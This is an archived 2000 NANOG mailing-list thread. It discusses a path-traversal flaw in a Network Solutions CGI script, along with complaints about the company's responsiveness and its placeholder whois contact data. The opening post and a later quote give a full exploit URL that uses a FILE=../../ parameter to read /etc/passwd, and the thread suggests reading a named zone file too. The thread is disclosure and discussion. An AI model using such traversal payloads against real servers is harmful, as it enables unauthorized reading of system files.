http://www.networksolutions.com/cgi-bin/makechanges/easysteps/easysteps.pl?STRING=maymun.com.pl?STRING=maymun.com&FILE=/../../../../../../../etc/passwd Check out /var/named/internic.net as well. __________________________________________________ Do You Yahoo!? Send instant messages & get email alerts with Yahoo! Messenger. http://im.yahoo.com/
Yea, Netsol is broken. they cant always get domain info correct or make updates in a timely matter. But I think a quick mail to Netsol first and if they didnt do anything, maybe bugtraq if it effects others. On Tue, 9 May 2000, Exiled Dave wrote:
Check out /var/named/internic.net as well.
__________________________________________________ Do You Yahoo!? Send instant messages & get email alerts with Yahoo! Messenger. http://im.yahoo.com/
On Tue, 9 May 2000, Christian Nielsen wrote:
Yea, Netsol is broken. they cant always get domain info correct or make updates in a timely matter. But I think a quick mail to Netsol first and if they didnt do anything, maybe bugtraq if it effects others.
Of course, it would be easier to let them know that something was wrong if the whois record for networksolutions.com didn't contain the e-mail address: not_valid_email@WORLDNIC.COM and the phone number: 123 234 1234 for Administrative, Technical and Zone Contacts.
Well the site was showing nice info and now says document not found. I guess someone at NSI actually reads this list. Too bad their response times on their customer issues aren't anywhere near that fast. Derrick
-----Original Message----- From: owner-nanog@merit.edu [mailto:owner-nanog@merit.edu]On Behalf Of Joe Abley Sent: Tuesday, May 09, 2000 5:39 PM To: Christian Nielsen Cc: nanog@nanog.org; Exiled Dave Subject: Re: NETWORK SOLUTIONS SECURITY TRUTHS?
On Tue, 9 May 2000, Christian Nielsen wrote:
Yea, Netsol is broken. they cant always get domain info correct or make updates in a timely matter. But I think a quick mail to Netsol first and if they didnt do anything, maybe bugtraq if it effects others.
Of course, it would be easier to let them know that something was wrong if the whois record for networksolutions.com didn't contain the e-mail address:
not_valid_email@WORLDNIC.COM
and the phone number:
123 234 1234
for Administrative, Technical and Zone Contacts.
On Tue, 9 May 2000, Derrick wrote:
Well the site was showing nice info and now says document not found. I guess someone at NSI actually reads this list. Too bad their response times on their customer issues aren't anywhere near that fast.
This issue was spotted at least six months ago... who doesn't feel the urge to put in some more "../../../" when you see a perl cgi with a variable like "FILE=../"? Never fear, there's always more cgi's on that machine. My guess would be they fixed one bug. Given the track record... Charles
Derrick
-----Original Message----- From: owner-nanog@merit.edu [mailto:owner-nanog@merit.edu]On Behalf Of Joe Abley Sent: Tuesday, May 09, 2000 5:39 PM To: Christian Nielsen Cc: nanog@nanog.org; Exiled Dave Subject: Re: NETWORK SOLUTIONS SECURITY TRUTHS?
On Tue, 9 May 2000, Christian Nielsen wrote:
Yea, Netsol is broken. they cant always get domain info correct or make updates in a timely matter. But I think a quick mail to Netsol first and if they didnt do anything, maybe bugtraq if it effects others.
Of course, it would be easier to let them know that something was wrong if the whois record for networksolutions.com didn't contain the e-mail address:
not_valid_email@WORLDNIC.COM
and the phone number:
123 234 1234
for Administrative, Technical and Zone Contacts.
On Wed, 10 May 2000, Joe Abley wrote:
On Tue, 9 May 2000, Christian Nielsen wrote:
Yea, Netsol is broken. they cant always get domain info correct or make updates in a timely matter. But I think a quick mail to Netsol first and if they didnt do anything, maybe bugtraq if it effects others.
Of course, it would be easier to let them know that something was wrong if the whois record for networksolutions.com didn't contain the e-mail address:
not_valid_email@WORLDNIC.COM
and the phone number:
123 234 1234
for Administrative, Technical and Zone Contacts.
My goodness. Listing false information for a domain is grounds for it's termination under the the new laws provided to us by our benevolant dictators at ICANN.
R. I. P. !!! On Tue, 9 May 2000, Exiled Dave wrote: | | http://www.networksolutions.com/cgi-bin/makechanges/easysteps/easysteps.pl?STRING=maymun.com.pl?STRING=maymun.com&FILE=/../../../../../../../etc/passwd | | Check out /var/named/internic.net as well. | | __________________________________________________ | Do You Yahoo!? | Send instant messages & get email alerts with Yahoo! Messenger. | http://im.yahoo.com/ | | --- Reverend Chris Cappuccio http://www.dqc.org/~chris/
participants (7)
-
Charles Sprickman -
Chris Cappuccio -
Christian Nielsen -
Derrick -
Exiled Dave -
Joe Abley -
Patrick Greenwell